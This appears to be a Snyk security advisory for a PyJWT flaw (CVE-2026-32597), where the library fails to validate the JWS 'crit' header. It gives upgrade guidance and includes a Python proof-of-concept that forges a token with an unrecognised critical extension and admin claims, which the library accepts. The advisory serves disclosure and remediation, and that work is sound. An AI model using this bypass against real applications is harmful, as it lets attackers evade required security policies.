Improper Verification of Cryptographic Signature Affecting pyjwt package, versions [,2.12.0)
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Test your applications- Snyk IDSNYK-PYTHON-PYJWT-15518059
- published13 Mar 2026
- disclosed12 Mar 2026
- creditdmbs335
Introduced: 12 Mar 2026
CVE-2026-32597 (opens in a new tab)How to fix?
Upgrade pyjwt to version 2.12.0 or higher.
Overview
Affected versions of this package are vulnerable to Improper Verification of Cryptographic Signature due to improper validation of the crit header parameter. An attacker can bypass critical header checks by crafting a JSON Web Signature (JWS) token with unrecognized critical extensions.
PoC
import jwt # PyJWT 2.8.0
import hmac, hashlib, base64, json
# Construct token with unknown critical extension
header = {"alg": "HS256", "crit": ["x-custom-policy"], "x-custom-policy": "require-mfa"}
payload = {"sub": "attacker", "role": "admin"}
def b64url(data):
return base64.urlsafe_b64encode(data).rstrip(b"=").decode()
h = b64url(json.dumps(header, separators=(",", ":")).encode())
p = b64url(json.dumps(payload, separators=(",", ":")).encode())
sig = b64url(hmac.new(b"secret", f"{h}.{p}".encode(), hashlib.sha256).digest())
token = f"{h}.{p}.{sig}"
# Should REJECT — x-custom-policy is not understood by PyJWT
try:
result = jwt.decode(token, "secret", algorithms=["HS256"])
print(f"ACCEPTED: {result}")
# Output: ACCEPTED: {'sub': 'attacker', 'role': 'admin'}
except Exception as e:
print(f"REJECTED: {e}")